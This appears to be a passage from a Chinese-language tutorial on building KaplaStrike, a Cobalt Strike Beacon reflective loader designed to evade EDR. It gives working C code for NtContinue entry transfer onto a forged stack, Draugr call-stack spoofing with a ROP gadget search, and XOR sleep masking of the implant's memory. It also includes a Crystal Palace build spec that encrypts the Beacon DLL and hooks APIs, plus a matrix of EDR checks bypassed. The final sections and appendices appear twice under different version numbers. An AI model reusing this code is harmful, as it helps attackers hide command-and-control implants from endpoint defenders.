1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ┌─────────────────────────────────────────────────────────────────────────┐ │ NtContinue 入口转移原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ NtContinue 的作用: │ │ • 从 CONTEXT 结构恢复所有寄存器 │ │ • 从保存的栈指针恢复 RSP │ │ • 跳转到 CONTEXT.Rip 指定的地址 │ │ │ │ 伪造栈帧结构: │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ 高地址 │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ │ │ NULL (栈终止标记) │ │ │ │ │ ├─────────────────────────────────────┤ │ │ │ │ │ RtlUserThreadStart + 0x2c │ ← Frame 2 │ │ │ │ │ (栈空间: ruts_stack_size) │ │ │ │ │ ├─────────────────────────────────────┤ │ │ │ │ │ BaseThreadInitThunk + 0x17 │ ← Frame 1 │ │ │ │ │ (栈空间: btit_stack_size) │ │ │ │ │ ├─────────────────────────────────────┤ │ │ │ │ │ [Beacon 入口点从这里开始执行] │ │ │ │ │ └─────────────────────────────────────┘ │ │ │ │ 低地址 (RSP 指向这里) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ 结果:当 EDR 检查调用栈时,看到的是: │ │ Frame 0: Beacon!EntryPoint │ │ Frame 1: kernel32!BaseThreadInitThunk + 0x17 │ │ Frame 2: ntdll!RtlUserThreadStart + 0x2c │ │ Frame 3: NULL (正常终止) │ │ │ └─────────────────────────────────────────────────────────────────────────┘
实现代码 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 VOID TransferExecutionViaStack (PVOID entry_point, HINSTANCE hInstance, DWORD fdwReason) { PVOID kernel32 = KERNEL32$GetModuleHandleA("kernel32.dll" ); PVOID ntdll = KERNEL32$GetModuleHandleA("ntdll.dll" ); PVOID BaseThreadInitThunk = GetProcAddress((HMODULE)kernel32, "BaseThreadInitThunk" ); PVOID RtlUserThreadStart = GetProcAddress((HMODULE)ntdll, "RtlUserThreadStart" ); PVOID btit_ret = (PVOID)((ULONG_PTR)BaseThreadInitThunk + 0x17 ); PVOID ruts_ret = (PVOID)((ULONG_PTR)RtlUserThreadStart + 0x2c ); SIZE_T btit_stack_size = (SIZE_T)calculate_function_stack_size_wrapper(btit_ret); SIZE_T ruts_stack_size = (SIZE_T)calculate_function_stack_size_wrapper(ruts_ret); if (!btit_stack_size || !ruts_stack_size) return ; PVOID fake_stack = KERNEL32$VirtualAlloc(NULL , 0x40000 , MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!fake_stack) return ; ULONG_PTR rsp = ((ULONG_PTR)fake_stack + 0x40000 ) & ~(ULONG_PTR)0xF ; rsp -= 8 ; *(PVOID *)rsp = NULL ; rsp -= ruts_stack_size; *(PVOID *)rsp = ruts_ret; rsp -= btit_stack_size; *(PVOID *)rsp = btit_ret; CONTEXT ctx; NTDLL$memset (&ctx, 0 , sizeof (ctx)); ctx.ContextFlags = CONTEXT_FULL; NTDLL$RtlCaptureContext(&ctx); ctx.Rip = (DWORD64)entry_point; ctx.Rsp = (DWORD64)rsp; ctx.Rcx = (DWORD64)hInstance; ctx.Rdx = (DWORD64)fdwReason; ctx.R8 = 0 ; NTDLL$NtContinue(&ctx, FALSE); }
3.5 阶段五:Call Stack Spoofing (Draugr) NtContinue 解决了入口点调用的问题,但 Beacon 运行时调用 API 时,调用栈仍然会暴露。Draugr 技术在每次 API 调用时伪造调用栈。
Draugr 核心组件 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ┌─────────────────────────────────────────────────────────────────────────┐ │ Draugr 调用栈伪装原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 核心组件: │ │ 1. Gadget (JMP [RBX]) - 用于跳转到目标函数 │ │ 2. 伪造的栈帧 - 包含合法的返回地址 │ │ 3. 汇编存根 (draugr.asm) - 执行栈切换和调用 │ │ │ │ 伪造栈帧布局: │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ RSP → [Gadget 地址] ← 执行 JMP [RBX] │ │ │ │ [原始 RBX 值] ← 恢复用 │ │ │ │ [原始 RDI 值] ← 恢复用 │ │ │ │ [Fixup 地址] ← 清理栈用 │ │ │ │ [原始返回地址] ← 恢复用 │ │ │ │ [BaseThreadInitThunk+0x17] ← 合法返回地址 │ │ │ │ [RtlUserThreadStart+0x2c] ← 合法返回地址 │ │ │ │ [NULL] ← 栈终止 │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ 执行流程: │ │ 1. spoof_call() 准备参数和栈帧 │ │ 2. draugr_stub() 保存寄存器,切换栈 │ │ 3. 执行 Gadget (JMP [RBX]) 跳转到目标函数 │ │ 4. 目标函数执行,看到合法的调用栈 │ │ 5. 返回到 Fixup,恢复原始栈和寄存器 │ │ │ └─────────────────────────────────────────────────────────────────────────┘
Gadget 搜索代码 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 PVOID find_gadget (PVOID module) { DWORD text_section_size = 0 ; DWORD text_section_va = 0 ; if (!get_text_section_size(module, &text_section_va, &text_section_size)) { return NULL ; } PVOID module_text_section = (PBYTE)((UINT_PTR)module + text_section_va); PVOID gadget_list[15 ] = { 0 }; DWORD counter = 0 ; for (int i = 5 ; i < (text_section_size - 2 ); i++) { if (((PBYTE)module_text_section)[i] == 0xFF && ((PBYTE)module_text_section)[i + 1 ] == 0x23 ) { if (((PBYTE)module_text_section)[i - 5 ] == 0xE8 ) { gadget_list[counter++] = (PVOID)((UINT_PTR)module_text_section + i); if (counter == 15 ) break ; } } } if (counter == 0 ) return NULL ; ULONG seed = 0x1337 ; ULONG random = NTDLL$RtlRandomEx(&seed); random %= counter; return gadget_list[random]; }
使用示例 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 typedef struct { PVOID ptr; DWORD ssn; DWORD argc; ULONG_PTR args[12 ]; } FUNCTION_CALL; ULONG_PTR spoof_call (FUNCTION_CALL* call) { return draugr_wrapper(call->ptr, call->ssn, (PVOID)call->args[0 ], (PVOID)call->args[1 ], ...); } FUNCTION_CALL call = { 0 }; call.ptr = (PVOID)KERNEL32$VirtualAlloc; call.argc = 4 ; call.args[0 ] = (ULONG_PTR)NULL ; call.args[1 ] = (ULONG_PTR)0x10000 ; call.args[2 ] = (ULONG_PTR)MEM_COMMIT|MEM_RESERVE; call.args[3 ] = (ULONG_PTR)PAGE_READWRITE; PVOID result = (PVOID)spoof_call(&call);
3.6 阶段六:Sleep Masking 问题 :Beacon 在休眠期间,其代码和数据以明文形式存在于内存中,可被扫描检测。
解决方案 :在休眠期间加密内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ┌─────────────────────────────────────────────────────────────────────────┐ │ Sleep Masking 流程 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 正常 Sleep: │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Beacon 调用 Sleep() │ │ │ │ ↓ │ │ │ │ 线程休眠 │ │ │ │ ↓ │ │ │ │ [内存中 Beacon 明文暴露] ← EDR 可扫描 │ │ │ │ ↓ │ │ │ │ 线程唤醒 │ │ │ │ ↓ │ │ │ │ 继续执行 │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ Masked Sleep: │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Beacon 调用 _Sleep() (Hooked) │ │ │ │ ↓ │ │ │ │ 1. 修改内存权限为 RW │ │ │ │ 2. XOR 加密所有节区 │ │ │ │ 3. 恢复内存权限 │ │ │ │ ↓ │ │ │ │ [内存中是加密数据] ← EDR 扫描无结果 │ │ │ │ ↓ │ │ │ │ 线程休眠 │ │ │ │ ↓ │ │ │ │ 线程唤醒 │ │ │ │ ↓ │ │ │ │ 4. 修改内存权限为 RW │ │ │ │ 5. XOR 解密所有节区 │ │ │ │ 6. 恢复内存权限 │ │ │ │ ↓ │ │ │ │ 继续执行 │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘
实现代码 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 char xorkey[128 ] = { 1 }; void apply_mask (char * data, DWORD len) { for (DWORD i = 0 ; i < len; i++) { data[i] ^= xorkey[i % 128 ]; } } void mask_memory (MEMORY_LAYOUT* memory, BOOL mask) { ULONG_PTR base = (ULONG_PTR)memory->Dll.BaseAddress; ULONG_PTR end = base + memory->Dll.Size; ULONG_PTR current = base; while (current < end) { MEMORY_BASIC_INFORMATION mbi; if (!KERNEL32$VirtualQuery((LPCVOID)current, &mbi, sizeof (mbi))) break ; if (mbi.State == MEM_COMMIT && !(mbi.Protect & PAGE_GUARD) && mbi.Protect != PAGE_NOACCESS) { DWORD old_protect = 0 ; BOOL is_exec = (mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_EXECUTE || mbi.Protect == PAGE_EXECUTE_READWRITE); if (is_exec && mbi.Type == MEM_IMAGE) { bypass_cfg(mbi.BaseAddress); } DWORD write_prot; if (is_exec) { write_prot = PAGE_EXECUTE_WRITECOPY; } else if (mbi.Type == MEM_IMAGE) { write_prot = PAGE_WRITECOPY; } else { write_prot = PAGE_READWRITE; } if (KERNEL32$VirtualProtect(mbi.BaseAddress, mbi.RegionSize, write_prot, &old_protect)) { apply_mask((char *)mbi.BaseAddress, mbi.RegionSize); KERNEL32$VirtualProtect(mbi.BaseAddress, mbi.RegionSize, old_protect, &old_protect); } } current = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize; } } VOID WINAPI _Sleep(DWORD dwMilliseconds) { if (dwMilliseconds >= 1000 ) { mask_memory(&g_memory, TRUE); } FUNCTION_CALL call = { 0 }; call.ptr = (PVOID)KERNEL32$Sleep; call.argc = 1 ; call.args[0 ] = (ULONG_PTR)dwMilliseconds; spoof_call(&call); if (dwMilliseconds >= 1000 ) { mask_memory(&g_memory, FALSE); } }
第四部分:完整构建流程 4.1 项目结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 KaplaStrike-main/ ├── bin/ # 编译输出目录 │ ├── loader.x64.o # 主加载器 COFF │ ├── hooks.x64.o # Hook 函数 COFF │ ├── spoof.x64.o # 调用栈伪装 COFF │ ├── mask.x64.o # 内存混淆 COFF │ ├── pico.x64.o # PICO 运行时 COFF │ ├── draugr.x64.bin # 汇编编写的 Draugr 存根 │ └── cfg.x64.o # CFG 绕过 COFF ├── spec/ # Crystal Palace 规范文件 │ ├── loader.spec # 主构建脚本 │ ├── pico.spec # PICO 模块构建脚本 │ └── yara.spec # Yara 规避脚本 ├── src/ # C 源代码 │ ├── loader.c # 主加载器逻辑 │ ├── definitions.h # 数据结构定义 │ ├── hooks/hooks.c # API Hook 实现 │ ├── draugr/spoof.c # 调用栈伪装 │ ├── draugr/draugr.asm # Draugr 汇编存根 │ ├── sleep/mask.c # 内存混淆 │ ├── sleep/pico.c # PICO 运行时 Hook │ ├── cfg/cfg.c # CFG 绕过 │ └── tcglib/ # TCG 库头文件 ├── Crystal-palace/ # Crystal Palace 工具 │ ├── crystalpalace.jar │ └── libtcg.x64.zip ├── Makefile # 构建脚本 ├── link # Crystal Palace 链接器脚本 └── NOUDRL.cna # Cobalt Strike CNA 脚本
4.2 Spec 文件详解 loader.spec - 主构建脚本 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 # loader.spec - KaplaStrike 主构建脚本 x64: # 第一步:加载主加载器并转换为 PIC load "../bin/loader.x64.o" make pic +gofirst # +gofirst 确保 go() 函数在最前面 # 第二步:合并 TCG 共享库 mergelib "../Crystal-palace/libtcg.x64.zip" # 第三步:启用 DFR (动态函数解析) dfr "resolve" "ror13" # 使用 ror13 哈希解析 API # 第四步:合并辅助模块 load "../bin/hooks.x64.o" # Hook 函数 merge load "../bin/spoof.x64.o" # 调用栈伪装 merge load "../bin/draugr.x64.bin" # Draugr 汇编存根 linkfunc "draugr_stub" # 链接为函数 # 第五步:设置 API Hook attach "KERNEL32$CreateFileW" "_CreateFileW" attach "KERNEL32$CloseHandle" "_CloseHandle" attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" attach "KERNEL32$VirtualProtect" "_VirtualProtect" attach "KERNEL32$RtlAddFunctionTable" "_RtlAddFunctionTable" attach "NTDLL$NtCreateSection" "_NtCreateSection" attach "NTDLL$NtMapViewOfSection" "_NtMapViewOfSection" attach "NTDLL$NtClose" "_NtClose" attach "NTDLL$memset" "_memset" attach "NTDLL$memcpy" "_memcpy" attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" attach "KERNEL32$VirtualFree" "_VirtualFree" # 保护特定函数不被 Hook preserve "KERNEL32$LoadLibraryA" "init_frame_info" # 第六步:加密并嵌入 Beacon DLL generate $MASK 128 push $DLL xor $MASK # XOR 加密 preplen # 预置长度 link "cobalt_dll" # 链接到 cobalt_dll 节区 push $MASK preplen link "cobalt_mask" # 链接到 cobalt_mask 节区 # 第七步:构建 PICO 模块 run "pico.spec" link "pico" # 第八步:应用 Yara 规避 run "yara.spec" # 第九步:导出最终 PIC export
第五部分:测试与验证 5.1 EDR 测试矩阵
检测点
传统加载器
Module Overloading
+Call Stack Spoofing
+Sleep Masking
MEM_PRIVATE
❌ 检测
✅ 通过
✅ 通过
✅ 通过
无 backing 文件
❌ 检测
✅ 通过
✅ 通过
✅ 通过
调用栈异常
❌ 检测
❌ 检测
✅ 通过
✅ 通过
内存签名
❌ 检测
❌ 检测
❌ 检测
✅ 通过
RWX 权限
❌ 检测
✅ 通过
✅ 通过
✅ 通过
第六部分:关键经验总结 6.1 核心原则
“规避存在于 blob 内部,而不在于它如何到达那里。”
— Lorenzo Meacci (@kapla)
这是最重要的操作经验:你的 shellcode 加载器并不重要,如果反射式加载器撤销了所有工作。
大多数人的错误:
花费数天设计完美的 shellcode 加载器
间接系统调用、进程镂空、父进程欺骗
但 UDRL 内部调用 VirtualAlloc(RWX),将 Beacon 映射到 MEM_PRIVATE 匿名区域
外部加载器实现的一切立即被撤销
EDR 甚至不需要看 shellcode 是如何到达的,只需要看 Beacon 落在哪里,调用栈是什么样子,几毫秒就能捕获。
6.2 完整控制链的价值 控制完整链才是真正的优势:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ┌─────────────────────────────────────────────────────────────────────────┐ │ 控制链与检测机会 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 交付层 (Delivery) │ │ ├─ 加载器实现方式 │ │ ├─ 注入技术选择 │ │ └─ 进程选择 │ │ │ │ 反射加载层 (Reflective Loading) ← KaplaStrike 关注的层 │ │ ├─ 内存分配方式 │ │ ├─ 内存区域类型 │ │ ├─ 调用栈伪造 │ │ ├─ 入口点调用 │ │ └─ Sleep 周期行为 │ │ │ │ 运行时层 (Runtime) │ │ ├─ API 调用模式 │ │ ├─ 内存权限管理 │ │ └─ 字符串加密 │ │ │ │ 如果每一层都是干净的: │ │ • 交付干净 │ │ • 内存区域有 backing │ │ • 调用栈合法 │ │ • 休眠时节区加密 │ │ • 签名在磁盘和内存中都消失 │ │ │ │ → EDR 没有任何可以抓住的把柄 │ │ │ └─────────────────────────────────────────────────────────────────────────┘
6.3 开发建议
从基线开始
先实现一个工作的加载器
验证 Beacon 能正常上线
识别所有检测点
逐层添加规避
一次添加一个技术
每次添加后验证功能
不要试图一次实现所有功能
测试驱动开发
使用 Yara 规则测试签名
使用 Process Hacker 检查内存
使用调试器验证调用栈
保持模块化
每个技术独立成模块
使用 Crystal Palace 的 attach/redirect
便于升级和替换
最佳实践总结 开发流程
设计阶段
明确功能需求
选择合适的架构 (PIC/PICO/DLL)
规划模块划分
编码阶段
遵循 PICO 限制
使用 DFR 声明 API
避免全局变量或使用 fixbss
构建阶段
编写 .spec 文件
选择合适的变形选项
生成 Yara 规则用于测试
测试阶段
使用 run.x64.exe 测试
验证所有功能
检查 Yara 匹配
安全建议
最小化特征
使用 +optimize 移除死代码
使用 +mutate 变异指令
避免硬编码字符串
运行时保护
使用 Sleep Masking
实现调用栈欺骗
加密敏感数据
错误处理
检查所有 API 返回值
实现优雅降级
避免异常崩溃
附录:命令速查表 栈操作
命令
说明
load "file"
加载文件到栈
pop $VAR
弹出到变量
push $VAR
压入变量
export
导出最终结果
对象创建
命令
说明
make coff
创建 COFF
make object
创建 PICO
make pic
创建 PIC
数据处理
命令
说明
pack $VAR "fmt" args
打包数据
rc4 $KEY
RC4 加密
xor $KEY
XOR 混淆
preplen
预置长度
prepsum
预置校验和
generate $VAR N
生成随机数
Hook
命令
说明
attach "API" "hook"
Hook API
redirect "func" "hook"
重定向函数
protect "func"
保护函数
addhook "API" "hook"
注册 Hook 表
变形
选项
说明
+optimize
死代码消除
+mutate
指令变异
+shatter
块粉碎
+regdance
寄存器舞蹈
+disco
函数发现
+blockparty
块派对
+gofirst
入口函数优先
附录:内部实现原理 Rebuilder 类 Rebuilder.java 是 Crystal Palace 的核心重建器,负责将分析后的代码重新组装:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public COFFObject rebuild (RebuildConfig config) { labels.analyze(funcs); relocs.analyze(this , jumps); walk(jumps); blocks.analyze(this , funcs); zones.analyze(this , funcs); leaves.analyze(this , funcs); while (k.hasNext()) { Instruction inst = (Instruction)k.next(); transforms.preTransform(state, inst); transforms.postTransform(state, inst); } byte [] text_content = assemble(); object.getSection(".text" ).setData(text_content); labels.rebuild(object, results); relocs.rebuild(object, results); return object; }
Attach 类 Attach.java 实现 API Hook 的核心逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public boolean shouldModify (RebuildStep step, Instruction next) { if (!step.hasRelocation()) return false ; resolveme = new ParseImport (step.getRelocation().getSymbolName()); if (!resolveme.isValid()) return false ; hookfunc = hooks.getHook(step.getFunction(), resolveme.getTarget()); if (hookfunc == null ) return false ; return true ; } public void apply (CodeAssembler program, RebuildStep step, Instruction next) { program.call(step.getLabel(hookfunc)); step.resolve(); }
文档生成日期:2026-04-10 版本:深度增强版 v4.0
设计阶段
明确功能需求
选择合适的架构 (PIC/PICO/DLL)
规划模块划分
编码阶段
遵循 PICO 限制
使用 DFR 声明 API
避免全局变量或使用 fixbss
构建阶段
编写 .spec 文件
选择合适的变形选项
生成 Yara 规则用于测试
测试阶段
使用 run.x64.exe 测试
验证所有功能
检查 Yara 匹配
安全建议
最小化特征
使用 +optimize 移除死代码
使用 +mutate 变异指令
避免硬编码字符串
运行时保护
使用 Sleep Masking
实现调用栈欺骗
加密敏感数据
错误处理
检查所有 API 返回值
实现优雅降级
避免异常崩溃
附录:命令速查表 栈操作
命令
说明
load "file"
加载文件到栈
pop $VAR
弹出到变量
push $VAR
压入变量
export
导出最终结果
对象创建
命令
说明
make coff
创建 COFF
make object
创建 PICO
make pic
创建 PIC
数据处理
命令
说明
pack $VAR "fmt" args
打包数据
rc4 $KEY
RC4 加密
xor $KEY
XOR 混淆
preplen
预置长度
prepsum
预置校验和
generate $VAR N
生成随机数
Hook
命令
说明
attach "API" "hook"
Hook API
redirect "func" "hook"
重定向函数
protect "func"
保护函数
addhook "API" "hook"
注册 Hook 表
变形
选项
说明
+optimize
死代码消除
+mutate
指令变异
+shatter
块粉碎
+regdance
寄存器舞蹈
+disco
函数发现
+blockparty
块派对
+gofirst
入口函数优先
附录:内部实现原理 Rebuilder 类 Rebuilder.java 是 Crystal Palace 的核心重建器,负责将分析后的代码重新组装:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public COFFObject rebuild (RebuildConfig config) { labels.analyze(funcs); relocs.analyze(this , jumps); walk(jumps); blocks.analyze(this , funcs); zones.analyze(this , funcs); leaves.analyze(this , funcs); while (k.hasNext()) { Instruction inst = (Instruction)k.next(); transforms.preTransform(state, inst); transforms.postTransform(state, inst); } byte [] text_content = assemble(); object.getSection(".text" ).setData(text_content); labels.rebuild(object, results); relocs.rebuild(object, results); return object; }
Attach 类 Attach.java 实现 API Hook 的核心逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public boolean shouldModify (RebuildStep step, Instruction next) { if (!step.hasRelocation()) return false ; resolveme = new ParseImport (step.getRelocation().getSymbolName()); if (!resolveme.isValid()) return false ; hookfunc = hooks.getHook(step.getFunction(), resolveme.getTarget()); if (hookfunc == null ) return false ; return true ; } public void apply (CodeAssembler program, RebuildStep step, Instruction next) { program.call(step.getLabel(hookfunc)); step.resolve(); }
文档生成日期:2026-04-10 版本:深度增强版 v3.0